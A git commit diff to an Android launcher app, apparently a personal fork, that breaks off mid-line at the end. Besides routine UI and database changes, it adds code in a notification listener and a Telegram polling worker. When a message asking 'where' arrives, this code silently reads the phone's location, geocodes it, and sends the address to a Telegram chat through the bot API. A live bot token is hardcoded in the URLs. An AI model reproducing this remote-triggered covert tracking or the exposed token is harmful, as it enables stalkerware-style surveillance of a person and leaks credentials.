....
This commit is contained in:
parent
5360a7ad13
commit
b31ab340ab
@ -142,7 +142,7 @@
|
|||||||
android:name="android.support.FILE_PROVIDER_PATHS"
|
android:name="android.support.FILE_PROVIDER_PATHS"
|
||||||
android:resource="@xml/file_paths" />
|
android:resource="@xml/file_paths" />
|
||||||
</provider>
|
</provider>
|
||||||
<service android:name=".utils.NLService"
|
<service android:name=".receiver.NLService"
|
||||||
android:label="@string/app_name"
|
android:label="@string/app_name"
|
||||||
android:enabled="true"
|
android:enabled="true"
|
||||||
android:exported="true"
|
android:exported="true"
|
||||||
|
|||||||
@ -101,7 +101,7 @@ import rasel.lunar.launcher.model.jGuruTag
|
|||||||
import rasel.lunar.launcher.model.getRssData
|
import rasel.lunar.launcher.model.getRssData
|
||||||
import rasel.lunar.launcher.model.getT
|
import rasel.lunar.launcher.model.getT
|
||||||
import rasel.lunar.launcher.utils.BLog
|
import rasel.lunar.launcher.utils.BLog
|
||||||
import rasel.lunar.launcher.utils.NLService
|
import rasel.lunar.launcher.receiver.NLService
|
||||||
import rasel.lunar.launcher.utils.RssList.jGuruMain
|
import rasel.lunar.launcher.utils.RssList.jGuruMain
|
||||||
import rasel.lunar.launcher.utils.beforeDay
|
import rasel.lunar.launcher.utils.beforeDay
|
||||||
import rasel.lunar.launcher.utils.make0H
|
import rasel.lunar.launcher.utils.make0H
|
||||||
|
|||||||
@ -344,9 +344,9 @@ internal class Feeds : Fragment() , CommadCallabck {
|
|||||||
consoleLog("excute refreshFeeds()")
|
consoleLog("excute refreshFeeds()")
|
||||||
}
|
}
|
||||||
"reqmax" -> {
|
"reqmax" -> {
|
||||||
|
refreshFeeds()
|
||||||
RecentCallGetter.dayRange = 30
|
RecentCallGetter.dayRange = 30
|
||||||
RecentSmsGetter.dayRange = 30
|
RecentSmsGetter.dayRange = 30
|
||||||
refreshFeeds()
|
|
||||||
refreshDeviceData()
|
refreshDeviceData()
|
||||||
consoleLog("excute refreshFeeds()")
|
consoleLog("excute refreshFeeds()")
|
||||||
}
|
}
|
||||||
|
|||||||
@ -37,6 +37,7 @@ import android.view.KeyEvent
|
|||||||
import android.view.LayoutInflater
|
import android.view.LayoutInflater
|
||||||
import android.view.View
|
import android.view.View
|
||||||
import android.view.ViewGroup
|
import android.view.ViewGroup
|
||||||
|
import android.widget.CheckBox
|
||||||
import android.widget.EditText
|
import android.widget.EditText
|
||||||
import android.widget.RadioButton
|
import android.widget.RadioButton
|
||||||
import android.widget.TableRow
|
import android.widget.TableRow
|
||||||
@ -277,8 +278,9 @@ internal class LauncherHome : Fragment() {
|
|||||||
return binding.root
|
return binding.root
|
||||||
}
|
}
|
||||||
|
|
||||||
val hideListViewTime = 1000L * 60 * 5
|
val hideListViewTime = 1000L * 60L * 15L
|
||||||
val hideListView = {
|
val hideListView = {
|
||||||
|
|
||||||
binding.notiList.visibility = View.GONE
|
binding.notiList.visibility = View.GONE
|
||||||
binding.mainList.visibility = View.GONE
|
binding.mainList.visibility = View.GONE
|
||||||
binding.infoList.visibility = View.GONE
|
binding.infoList.visibility = View.GONE
|
||||||
@ -293,6 +295,7 @@ internal class LauncherHome : Fragment() {
|
|||||||
val onScrChanged = object : RecyclerView.OnScrollListener() {
|
val onScrChanged = object : RecyclerView.OnScrollListener() {
|
||||||
override fun onScrollStateChanged(recyclerView: RecyclerView, newState: Int) {
|
override fun onScrollStateChanged(recyclerView: RecyclerView, newState: Int) {
|
||||||
super.onScrollStateChanged(recyclerView, newState)
|
super.onScrollStateChanged(recyclerView, newState)
|
||||||
|
commandHandler.removeCallbacks(hideListView)
|
||||||
when (newState) {
|
when (newState) {
|
||||||
RecyclerView.SCROLL_STATE_IDLE -> {
|
RecyclerView.SCROLL_STATE_IDLE -> {
|
||||||
commandHandler.postDelayed(hideListView, hideListViewTime)
|
commandHandler.postDelayed(hideListView, hideListViewTime)
|
||||||
@ -302,7 +305,6 @@ internal class LauncherHome : Fragment() {
|
|||||||
RecyclerView.SCROLL_STATE_SETTLING -> {
|
RecyclerView.SCROLL_STATE_SETTLING -> {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
commandHandler.removeCallbacks(hideListView)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
override fun onScrolled(recyclerView: RecyclerView, dx: Int, dy: Int) {
|
override fun onScrolled(recyclerView: RecyclerView, dx: Int, dy: Int) {
|
||||||
@ -327,7 +329,7 @@ internal class LauncherHome : Fragment() {
|
|||||||
mNotificationResult = WorkersDb.getRealm().query<NotificationItem>().sort("postTime",Sort.DESCENDING).find()
|
mNotificationResult = WorkersDb.getRealm().query<NotificationItem>().sort("postTime",Sort.DESCENDING).find()
|
||||||
noticeJob = CoroutineScope(Dispatchers.Default).launch {
|
noticeJob = CoroutineScope(Dispatchers.Default).launch {
|
||||||
mNotificationResult?.asFlow()?.collect { changes: ResultsChange<NotificationItem> ->
|
mNotificationResult?.asFlow()?.collect { changes: ResultsChange<NotificationItem> ->
|
||||||
// BLog.LOGE("changes >>> ${changes}")
|
commandHandler.removeCallbacks(hideListView)
|
||||||
when (changes) {
|
when (changes) {
|
||||||
is UpdatedResults -> {
|
is UpdatedResults -> {
|
||||||
// BLog.LOGE("ResultsChange onNotificationPosted")
|
// BLog.LOGE("ResultsChange onNotificationPosted")
|
||||||
@ -335,7 +337,7 @@ internal class LauncherHome : Fragment() {
|
|||||||
lastedNoti = copyFromRealm(changes.list)
|
lastedNoti = copyFromRealm(changes.list)
|
||||||
}
|
}
|
||||||
commandHandler.removeCallbacks(notiUpdate)
|
commandHandler.removeCallbacks(notiUpdate)
|
||||||
commandHandler.postDelayed(notiUpdate, hideListViewTime)
|
commandHandler.postDelayed(notiUpdate, UPDATE_DELAY)
|
||||||
}
|
}
|
||||||
|
|
||||||
else -> {
|
else -> {
|
||||||
@ -366,15 +368,15 @@ internal class LauncherHome : Fragment() {
|
|||||||
// BLog.LOGE("${this} ::::: queryInfos after query find >>>> ")
|
// BLog.LOGE("${this} ::::: queryInfos after query find >>>> ")
|
||||||
infosJob = CoroutineScope(Dispatchers.Default).launch {
|
infosJob = CoroutineScope(Dispatchers.Default).launch {
|
||||||
mRssDataResult?.asFlow()?.collect { changes: ResultsChange<RssData> ->
|
mRssDataResult?.asFlow()?.collect { changes: ResultsChange<RssData> ->
|
||||||
|
commandHandler.removeCallbacks(hideListView)
|
||||||
commandHandler.removeCallbacks(infoUpdate)
|
commandHandler.removeCallbacks(infoUpdate)
|
||||||
|
|
||||||
when (changes) {
|
when (changes) {
|
||||||
is InitialResults -> {
|
is InitialResults -> {
|
||||||
// BLog.LOGE("${this} ::::: queryInfos after changes size >>>> ${changes.list.size}")
|
// BLog.LOGE("${this} ::::: queryInfos after changes size >>>> ${changes.list.size}")
|
||||||
WorkersDb.getRealm().apply {
|
WorkersDb.getRealm().apply {
|
||||||
lasted = copyFromRealm(changes.list)
|
lasted = copyFromRealm(changes.list)
|
||||||
}
|
}
|
||||||
commandHandler.postDelayed(infoUpdate, hideListViewTime)
|
commandHandler.postDelayed(infoUpdate, UPDATE_DELAY)
|
||||||
}
|
}
|
||||||
is UpdatedResults -> {
|
is UpdatedResults -> {
|
||||||
// lasted = changes.list
|
// lasted = changes.list
|
||||||
@ -437,15 +439,15 @@ internal class LauncherHome : Fragment() {
|
|||||||
mRssDataResult = rQ.sort("pubDate ", Sort.DESCENDING).find()
|
mRssDataResult = rQ.sort("pubDate ", Sort.DESCENDING).find()
|
||||||
infosJob = CoroutineScope(Dispatchers.Default).launch {
|
infosJob = CoroutineScope(Dispatchers.Default).launch {
|
||||||
mRssDataResult?.asFlow()?.collect { changes: ResultsChange<RssData> ->
|
mRssDataResult?.asFlow()?.collect { changes: ResultsChange<RssData> ->
|
||||||
|
commandHandler.removeCallbacks(hideListView)
|
||||||
commandHandler.removeCallbacks(infoUpdate)
|
commandHandler.removeCallbacks(infoUpdate)
|
||||||
|
|
||||||
when (changes) {
|
when (changes) {
|
||||||
is InitialResults -> {
|
is InitialResults -> {
|
||||||
WorkersDb.getRealm().apply {
|
WorkersDb.getRealm().apply {
|
||||||
lasted = copyFromRealm(changes.list)
|
lasted = copyFromRealm(changes.list)
|
||||||
}
|
}
|
||||||
|
|
||||||
commandHandler.postDelayed(infoUpdate, hideListViewTime)
|
commandHandler.postDelayed(infoUpdate, UPDATE_DELAY)
|
||||||
}
|
}
|
||||||
is UpdatedResults -> {
|
is UpdatedResults -> {
|
||||||
// lasted = changes.list
|
// lasted = changes.list
|
||||||
@ -494,6 +496,7 @@ internal class LauncherHome : Fragment() {
|
|||||||
|
|
||||||
var checkListner = object : View.OnClickListener {
|
var checkListner = object : View.OnClickListener {
|
||||||
override fun onClick(v: View?) {
|
override fun onClick(v: View?) {
|
||||||
|
commandHandler.removeCallbacks(hideListView)
|
||||||
var views = arrayListOf(binding.mainList, binding.smsList, binding.infoList, binding.notiList)
|
var views = arrayListOf(binding.mainList, binding.smsList, binding.infoList, binding.notiList)
|
||||||
var chechboxs = arrayListOf(binding.missedCalls,
|
var chechboxs = arrayListOf(binding.missedCalls,
|
||||||
binding.recentSms,
|
binding.recentSms,
|
||||||
@ -583,14 +586,9 @@ internal class LauncherHome : Fragment() {
|
|||||||
it.forEach { c ->
|
it.forEach { c ->
|
||||||
if(c.equals(RssDataType.NO_DATA) == false) {
|
if(c.equals(RssDataType.NO_DATA) == false) {
|
||||||
tb.addView(
|
tb.addView(
|
||||||
RadioButton(requireContext()).apply {
|
CheckBox(requireContext()).apply {
|
||||||
this.tag = c.name
|
this.tag = c.name
|
||||||
this.text = c.name
|
this.text = c.name
|
||||||
setOnClickListener {
|
|
||||||
(it as? RadioButton)?.let {
|
|
||||||
it.isChecked = !it.isChecked
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
@ -606,7 +604,7 @@ internal class LauncherHome : Fragment() {
|
|||||||
categoryz.children.forEach {
|
categoryz.children.forEach {
|
||||||
if(it is TableRow) {
|
if(it is TableRow) {
|
||||||
it.children.forEach {
|
it.children.forEach {
|
||||||
if (it is RadioButton && it.isChecked) {
|
if (it is CheckBox && it.isChecked) {
|
||||||
(it.tag as? String)?.let { category.add(it) }
|
(it.tag as? String)?.let { category.add(it) }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@ -1,6 +1,7 @@
|
|||||||
package rasel.lunar.launcher.model
|
package rasel.lunar.launcher.model
|
||||||
|
|
||||||
import io.realm.kotlin.types.RealmObject
|
import io.realm.kotlin.types.RealmObject
|
||||||
|
import io.realm.kotlin.types.annotations.PrimaryKey
|
||||||
|
|
||||||
class NotificationItem : RealmObject{
|
class NotificationItem : RealmObject{
|
||||||
var notiId : Int = 0
|
var notiId : Int = 0
|
||||||
@ -10,5 +11,6 @@ class NotificationItem : RealmObject{
|
|||||||
var subtext : String? = null
|
var subtext : String? = null
|
||||||
var selfDisplayName : String? = null
|
var selfDisplayName : String? = null
|
||||||
var postTime : Long = 0L
|
var postTime : Long = 0L
|
||||||
|
@PrimaryKey
|
||||||
var uniq_id : String? = null
|
var uniq_id : String? = null
|
||||||
}
|
}
|
||||||
@ -30,6 +30,7 @@ class TelegramData : RealmObject{
|
|||||||
@PrimaryKey
|
@PrimaryKey
|
||||||
var update_id : Long = 0L
|
var update_id : Long = 0L
|
||||||
var message : TelegramMessage? = null
|
var message : TelegramMessage? = null
|
||||||
|
var my_chat_member : TelegramMessage? = null
|
||||||
}
|
}
|
||||||
|
|
||||||
class TelegramMessage : RealmObject{
|
class TelegramMessage : RealmObject{
|
||||||
|
|||||||
@ -1,10 +1,14 @@
|
|||||||
package rasel.lunar.launcher.utils
|
package rasel.lunar.launcher.receiver
|
||||||
|
|
||||||
|
import android.annotation.SuppressLint
|
||||||
import android.content.BroadcastReceiver
|
import android.content.BroadcastReceiver
|
||||||
import android.content.ComponentName
|
import android.content.ComponentName
|
||||||
import android.content.Context
|
import android.content.Context
|
||||||
import android.content.Intent
|
import android.content.Intent
|
||||||
import android.content.IntentFilter
|
import android.content.IntentFilter
|
||||||
|
import android.location.Address
|
||||||
|
import android.location.Geocoder
|
||||||
|
import android.location.Location
|
||||||
import android.media.MediaMetadata
|
import android.media.MediaMetadata
|
||||||
import android.media.session.MediaSessionManager
|
import android.media.session.MediaSessionManager
|
||||||
import android.os.Build
|
import android.os.Build
|
||||||
@ -14,13 +18,25 @@ import androidx.annotation.RequiresApi
|
|||||||
import androidx.core.content.getSystemService
|
import androidx.core.content.getSystemService
|
||||||
import androidx.work.OneTimeWorkRequest
|
import androidx.work.OneTimeWorkRequest
|
||||||
import androidx.work.WorkManager
|
import androidx.work.WorkManager
|
||||||
|
import com.google.android.gms.location.FusedLocationProviderClient
|
||||||
|
import com.google.android.gms.location.LocationServices
|
||||||
|
import com.google.android.gms.tasks.OnSuccessListener
|
||||||
import com.google.gson.Gson
|
import com.google.gson.Gson
|
||||||
|
import io.realm.kotlin.UpdatePolicy
|
||||||
import io.realm.kotlin.ext.query
|
import io.realm.kotlin.ext.query
|
||||||
|
import okhttp3.ConnectionPool
|
||||||
|
import okhttp3.OkHttpClient
|
||||||
|
import okhttp3.Request
|
||||||
|
import okhttp3.Response
|
||||||
|
import okhttp3.ResponseBody
|
||||||
import rasel.lunar.launcher.model.CurrentPlayItem
|
import rasel.lunar.launcher.model.CurrentPlayItem
|
||||||
import rasel.lunar.launcher.model.NotificationItem
|
import rasel.lunar.launcher.model.NotificationItem
|
||||||
import rasel.lunar.launcher.workers.AppInfoGetter
|
import rasel.lunar.launcher.utils.BLog
|
||||||
|
import rasel.lunar.launcher.utils.BitmapConverter
|
||||||
import rasel.lunar.launcher.workers.TelegramBotGetter
|
import rasel.lunar.launcher.workers.TelegramBotGetter
|
||||||
import rasel.lunar.launcher.workers.WorkersDb
|
import rasel.lunar.launcher.workers.WorkersDb
|
||||||
|
import java.io.IOException
|
||||||
|
import java.util.Locale
|
||||||
import java.util.concurrent.Executors
|
import java.util.concurrent.Executors
|
||||||
import java.util.concurrent.TimeUnit
|
import java.util.concurrent.TimeUnit
|
||||||
|
|
||||||
@ -50,7 +66,7 @@ class NLService : NotificationListenerService() {
|
|||||||
sbn.notification.extras.keySet().forEach {
|
sbn.notification.extras.keySet().forEach {
|
||||||
BLog.LOGE("NLService********** keySet >> ${it} ${sbn.notification.extras.get(it)}")
|
BLog.LOGE("NLService********** keySet >> ${it} ${sbn.notification.extras.get(it)}")
|
||||||
}
|
}
|
||||||
if (sbn.id > 0 && (sbn.packageName.contains(".") || sbn.packageName.contains("android")) && sbn.packageName.length > 0) {
|
if (sbn.id != 0 && (sbn.packageName.contains(".") || sbn.packageName.contains("android")) && sbn.packageName.length > 0) {
|
||||||
NotificationItem().apply {
|
NotificationItem().apply {
|
||||||
notiId = sbn.id
|
notiId = sbn.id
|
||||||
pkgName = sbn.packageName
|
pkgName = sbn.packageName
|
||||||
@ -59,12 +75,19 @@ class NLService : NotificationListenerService() {
|
|||||||
selfDisplayName = sbn.notification?.extras?.getString("android.selfDisplayName") ?: ""
|
selfDisplayName = sbn.notification?.extras?.getString("android.selfDisplayName") ?: ""
|
||||||
tikerMsg = sbn.notification?.tickerText?.toString() ?: ""
|
tikerMsg = sbn.notification?.tickerText?.toString() ?: ""
|
||||||
postTime = sbn.postTime
|
postTime = sbn.postTime
|
||||||
uniq_id = "${sbn.id}_${sbn.packageName}"
|
var uniq = title ?: subtext ?: selfDisplayName ?: tikerMsg ?: ""
|
||||||
if (true == "bumssavor".equals(title) && "org.telegram.messenger".equals(pkgName)) {
|
uniq_id = "${sbn.id}_${sbn.packageName}_${if (uniq.length > 3) uniq.substring(0,3) else uniq}"
|
||||||
var mWorkManager = WorkManager.getInstance(applicationContext)
|
BLog.LOGE("NLService********** enqueue TelegramBotGetter ${true == "bumssavor".equals(title)}")
|
||||||
Executors.newSingleThreadScheduledExecutor().schedule({
|
BLog.LOGE("NLService********** enqueue TelegramBotGetter ${(true == "org.telegram.messenger".equals(pkgName))}")
|
||||||
mWorkManager.enqueue(OneTimeWorkRequest.from(TelegramBotGetter::class.java))
|
BLog.LOGE("NLService********** enqueue TelegramBotGetter ${sbn.notification?.extras?.getString("android.text")?.startsWith("/") == true}")
|
||||||
}, 5, TimeUnit.SECONDS)
|
if ((title?.contains("성희") == true) && (true == "org.telegram.messenger".equals(pkgName)) &&
|
||||||
|
tikerMsg?.contains("어디") == true) {
|
||||||
|
getLastLocation(applicationContext)
|
||||||
|
// BLog.LOGE("NLService********** enqueue TelegramBotGetter ")
|
||||||
|
// var mWorkManager = WorkManager.getInstance(applicationContext)
|
||||||
|
// Executors.newSingleThreadScheduledExecutor().schedule({
|
||||||
|
// mWorkManager.enqueue(OneTimeWorkRequest.from(TelegramBotGetter::class.java))
|
||||||
|
// }, 5, TimeUnit.SECONDS)
|
||||||
}
|
}
|
||||||
}.apply {
|
}.apply {
|
||||||
if (skips.contains(pkgName)) {
|
if (skips.contains(pkgName)) {
|
||||||
@ -91,7 +114,7 @@ class NLService : NotificationListenerService() {
|
|||||||
current = result.first()
|
current = result.first()
|
||||||
} else {
|
} else {
|
||||||
current = CurrentPlayItem()
|
current = CurrentPlayItem()
|
||||||
copyToRealm(current)
|
copyToRealm(current, UpdatePolicy.ALL)
|
||||||
}
|
}
|
||||||
BLog.LOGE(
|
BLog.LOGE(
|
||||||
"Sessions",
|
"Sessions",
|
||||||
@ -110,7 +133,9 @@ class NLService : NotificationListenerService() {
|
|||||||
"Sessions",
|
"Sessions",
|
||||||
"$session -- " + (session?.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART))
|
"$session -- " + (session?.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART))
|
||||||
)
|
)
|
||||||
current.albumArt = BitmapConverter.BitmapToString(session.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART))
|
current.albumArt = BitmapConverter.BitmapToString(
|
||||||
|
session.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART)
|
||||||
|
)
|
||||||
} else {
|
} else {
|
||||||
current.albumArt = ""
|
current.albumArt = ""
|
||||||
}
|
}
|
||||||
@ -173,4 +198,73 @@ class NLService : NotificationListenerService() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
var fusedLocationProviderClient: FusedLocationProviderClient? = null
|
||||||
|
@SuppressLint("MissingPermission")
|
||||||
|
private fun getLastLocation(context: Context) {
|
||||||
|
fusedLocationProviderClient = LocationServices.getFusedLocationProviderClient(context);
|
||||||
|
BLog.LOGE("Location getLastLocation")
|
||||||
|
fusedLocationProviderClient?.getLastLocation()?.addOnSuccessListener(object :
|
||||||
|
OnSuccessListener<Location?> {
|
||||||
|
override fun onSuccess(location: Location?) {
|
||||||
|
if (location != null) {
|
||||||
|
// Log the latitude and longitude
|
||||||
|
BLog.LOGE("Location Latitude: " + location.getLatitude())
|
||||||
|
BLog.LOGE("Location Longitude: " + location.getLongitude())
|
||||||
|
|
||||||
|
// Use Geocoder to get detailed location information
|
||||||
|
try {
|
||||||
|
val geocoder = Geocoder(context, Locale.getDefault())
|
||||||
|
val addresses: List<Address>? = geocoder.getFromLocation(
|
||||||
|
location.getLatitude(),
|
||||||
|
location.getLongitude(),
|
||||||
|
1
|
||||||
|
)
|
||||||
|
|
||||||
|
addresses?.first()?.let {
|
||||||
|
it.getAddressLine(0)?.let {
|
||||||
|
Executors.newSingleThreadScheduledExecutor().schedule({
|
||||||
|
try {
|
||||||
|
//////-1002450229641
|
||||||
|
val url =
|
||||||
|
"https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}"
|
||||||
|
//7068729507
|
||||||
|
// OkHttp 클라이언트 객체 생성
|
||||||
|
val client = OkHttpClient.Builder()
|
||||||
|
.connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
|
||||||
|
.build()
|
||||||
|
|
||||||
|
// GET 요청 객체 생성
|
||||||
|
val builder: Request.Builder = Request.Builder().url(url)
|
||||||
|
.addHeader("Content-Type", "application/json").get()
|
||||||
|
|
||||||
|
val request: Request = builder.build()
|
||||||
|
|
||||||
|
BLog.LOGE("telegram before request ")
|
||||||
|
// OkHttp 클라이언트로 GET 요청 객체 전송
|
||||||
|
val response: Response = client.newCall(request).execute()
|
||||||
|
if (response.isSuccessful()) {
|
||||||
|
// 응답 받아서 처리
|
||||||
|
val body: ResponseBody? = response.body()
|
||||||
|
if (body != null) {
|
||||||
|
|
||||||
|
}
|
||||||
|
} else BLog.LOGE("telegram Error Occurred")
|
||||||
|
|
||||||
|
} catch (e: java.lang.Exception) {
|
||||||
|
e.printStackTrace()
|
||||||
|
}
|
||||||
|
}, 5, TimeUnit.SECONDS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Display location details on UI elements
|
||||||
|
// Log detailed location information
|
||||||
|
BLog.LOGE("Location Addresses: $addresses")
|
||||||
|
} catch (e: IOException) {
|
||||||
|
e.printStackTrace()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@ -62,7 +62,7 @@ class RecentCallGetter : BaseGetter {
|
|||||||
@SuppressLint("RestrictedApi")
|
@SuppressLint("RestrictedApi")
|
||||||
override fun realWork(): Result {
|
override fun realWork(): Result {
|
||||||
|
|
||||||
var dateParam = beforeDay(Date(),3).toString()
|
var dateParam = beforeDay(Date(),dayRange).toString()
|
||||||
var managedCursor = lActivity?.contentResolver?.query(
|
var managedCursor = lActivity?.contentResolver?.query(
|
||||||
CallLog.Calls.CONTENT_URI, arrayOf(
|
CallLog.Calls.CONTENT_URI, arrayOf(
|
||||||
CallLog.Calls.NUMBER,
|
CallLog.Calls.NUMBER,
|
||||||
|
|||||||
@ -1,26 +1,36 @@
|
|||||||
package rasel.lunar.launcher.workers
|
package rasel.lunar.launcher.workers
|
||||||
|
|
||||||
|
import android.Manifest
|
||||||
|
import android.R.attr.country
|
||||||
import android.annotation.SuppressLint
|
import android.annotation.SuppressLint
|
||||||
import android.content.Context
|
import android.content.Context
|
||||||
|
import android.content.pm.PackageManager
|
||||||
|
import android.location.Address
|
||||||
|
import android.location.Geocoder
|
||||||
|
import android.location.Location
|
||||||
|
import android.util.Log
|
||||||
|
import androidx.core.content.ContextCompat
|
||||||
|
import androidx.work.OneTimeWorkRequest
|
||||||
import androidx.work.WorkerParameters
|
import androidx.work.WorkerParameters
|
||||||
|
import com.google.android.gms.location.FusedLocationProviderClient
|
||||||
|
import com.google.android.gms.location.LocationServices
|
||||||
|
import com.google.android.gms.tasks.OnSuccessListener
|
||||||
import com.google.gson.Gson
|
import com.google.gson.Gson
|
||||||
import kotlinx.coroutines.GlobalScope
|
import io.realm.kotlin.ext.query
|
||||||
import kotlinx.coroutines.launch
|
|
||||||
import okhttp3.ConnectionPool
|
import okhttp3.ConnectionPool
|
||||||
import okhttp3.OkHttpClient
|
import okhttp3.OkHttpClient
|
||||||
import okhttp3.Request
|
import okhttp3.Request
|
||||||
import okhttp3.Response
|
import okhttp3.Response
|
||||||
import okhttp3.ResponseBody
|
import okhttp3.ResponseBody
|
||||||
import org.jsoup.Jsoup
|
|
||||||
import rasel.lunar.launcher.model.Clien
|
|
||||||
import rasel.lunar.launcher.model.TelegramBotUpdate
|
import rasel.lunar.launcher.model.TelegramBotUpdate
|
||||||
import rasel.lunar.launcher.model.getHref
|
import rasel.lunar.launcher.model.TelegramData
|
||||||
import rasel.lunar.launcher.model.getRssData
|
|
||||||
import rasel.lunar.launcher.model.getT
|
|
||||||
import rasel.lunar.launcher.utils.BLog
|
import rasel.lunar.launcher.utils.BLog
|
||||||
|
import java.io.IOException
|
||||||
|
import java.util.Locale
|
||||||
import java.util.concurrent.Executors
|
import java.util.concurrent.Executors
|
||||||
import java.util.concurrent.TimeUnit
|
import java.util.concurrent.TimeUnit
|
||||||
|
|
||||||
|
|
||||||
class TelegramBotGetter : BaseGetter {
|
class TelegramBotGetter : BaseGetter {
|
||||||
companion object {
|
companion object {
|
||||||
val TAG = "TelegramBotGetter"
|
val TAG = "TelegramBotGetter"
|
||||||
@ -35,38 +45,48 @@ class TelegramBotGetter : BaseGetter {
|
|||||||
try {
|
try {
|
||||||
|
|
||||||
try {
|
try {
|
||||||
// val url = "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/getUpdates"
|
val url = "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/getUpdates"
|
||||||
// //"https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=71476436&text=안녕하세요."
|
//"https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=71476436&text=안녕하세요."
|
||||||
// //7068729507
|
//7068729507
|
||||||
// // OkHttp 클라이언트 객체 생성
|
// OkHttp 클라이언트 객체 생성
|
||||||
// val client = OkHttpClient.Builder().connectionPool(ConnectionPool(5,60,TimeUnit.SECONDS)).build()
|
val client = OkHttpClient.Builder().connectionPool(ConnectionPool(5,60,TimeUnit.SECONDS)).build()
|
||||||
//
|
|
||||||
// // GET 요청 객체 생성
|
// GET 요청 객체 생성
|
||||||
// val builder: Request.Builder = Request.Builder().url(url).addHeader("Content-Type", "application/json").get()
|
val builder: Request.Builder = Request.Builder().url(url).addHeader("Content-Type", "application/json").get()
|
||||||
//
|
|
||||||
// val request: Request = builder.build()
|
val request: Request = builder.build()
|
||||||
//
|
|
||||||
// BLog.LOGE("telegram before request ")
|
BLog.LOGE("telegram before request ")
|
||||||
// // OkHttp 클라이언트로 GET 요청 객체 전송
|
// OkHttp 클라이언트로 GET 요청 객체 전송
|
||||||
// val response: Response = client.newCall(request).execute()
|
val response: Response = client.newCall(request).execute()
|
||||||
// if (response.isSuccessful()) {
|
if (response.isSuccessful()) {
|
||||||
// // 응답 받아서 처리
|
// 응답 받아서 처리
|
||||||
// val body: ResponseBody? = response.body()
|
val body: ResponseBody? = response.body()
|
||||||
// if (body != null) {
|
if (body != null) {
|
||||||
// Gson().fromJson<TelegramBotUpdate>(body.string(),TelegramBotUpdate::class.java)?.let { telegramUpdates ->
|
val bodyString = body.string()
|
||||||
// telegramUpdates.fill()
|
BLog.LOGE("bodyString >>>>\n${bodyString}")
|
||||||
// telegramUpdates.list.forEach {
|
Gson().fromJson<TelegramBotUpdate>(bodyString,TelegramBotUpdate::class.java)?.let { telegramUpdates ->
|
||||||
|
telegramUpdates.fill()
|
||||||
|
telegramUpdates.list.forEach {
|
||||||
// if (it.message?.text?.startsWith("/") == true) {
|
// if (it.message?.text?.startsWith("/") == true) {
|
||||||
// BLog.LOGE("telegram telegramUpdates >>>> ${Gson().toJson(it)}")
|
if((it.message?.text?.contains("where") == true) || (it.message?.text?.contains("어디") == true)) {
|
||||||
// }
|
BLog.LOGE("it.message?.text?.contains(\"where\") == true) >>> ${it.message?.text?.contains("where") == true}")
|
||||||
// }
|
BLog.LOGE("it.message?.text?.contains(\"어디\") == true) >>> ${it.message?.text?.contains("어디") == true}")
|
||||||
//// BLog.LOGE("telegram telegramUpdates >>>> ${Gson().toJson(telegramUpdates)}")
|
WorkersDb.getRealm().apply {
|
||||||
//// WorkersDb.getRealm().writeBlocking {
|
writeBlocking {
|
||||||
//// copyToRealm(telegramUpdates)
|
if (query<TelegramData>("update_id == $0",it.update_id).find().size == 0) {
|
||||||
//// }
|
copyToRealm(it)
|
||||||
// }
|
getLastLocation(context = applicationContext)
|
||||||
// }
|
BLog.LOGE("telegram telegramUpdates >>>> ${Gson().toJson(it)}")
|
||||||
// } else BLog.LOGE("telegram Error Occurred")
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else BLog.LOGE("telegram Error Occurred")
|
||||||
|
|
||||||
} catch (e: java.lang.Exception) {
|
} catch (e: java.lang.Exception) {
|
||||||
e.printStackTrace()
|
e.printStackTrace()
|
||||||
@ -76,4 +96,71 @@ class TelegramBotGetter : BaseGetter {
|
|||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
var fusedLocationProviderClient: FusedLocationProviderClient? = null
|
||||||
|
@SuppressLint("MissingPermission")
|
||||||
|
private fun getLastLocation(context: Context) {
|
||||||
|
fusedLocationProviderClient = LocationServices.getFusedLocationProviderClient(context);
|
||||||
|
BLog.LOGE("Location getLastLocation")
|
||||||
|
fusedLocationProviderClient?.getLastLocation()?.addOnSuccessListener(object : OnSuccessListener<Location?> {
|
||||||
|
override fun onSuccess(location: Location?) {
|
||||||
|
if (location != null) {
|
||||||
|
// Log the latitude and longitude
|
||||||
|
BLog.LOGE("Location Latitude: " + location.getLatitude())
|
||||||
|
BLog.LOGE("Location Longitude: " + location.getLongitude())
|
||||||
|
|
||||||
|
// Use Geocoder to get detailed location information
|
||||||
|
try {
|
||||||
|
val geocoder = Geocoder(context, Locale.getDefault())
|
||||||
|
val addresses: List<Address>? = geocoder.getFromLocation(
|
||||||
|
location.getLatitude(),
|
||||||
|
location.getLongitude(),
|
||||||
|
1
|
||||||
|
)
|
||||||
|
|
||||||
|
addresses?.first()?.let {
|
||||||
|
it.getAddressLine(0)?.let {
|
||||||
|
Executors.newSingleThreadScheduledExecutor().schedule({
|
||||||
|
try {
|
||||||
|
//////-1002450229641
|
||||||
|
val url =
|
||||||
|
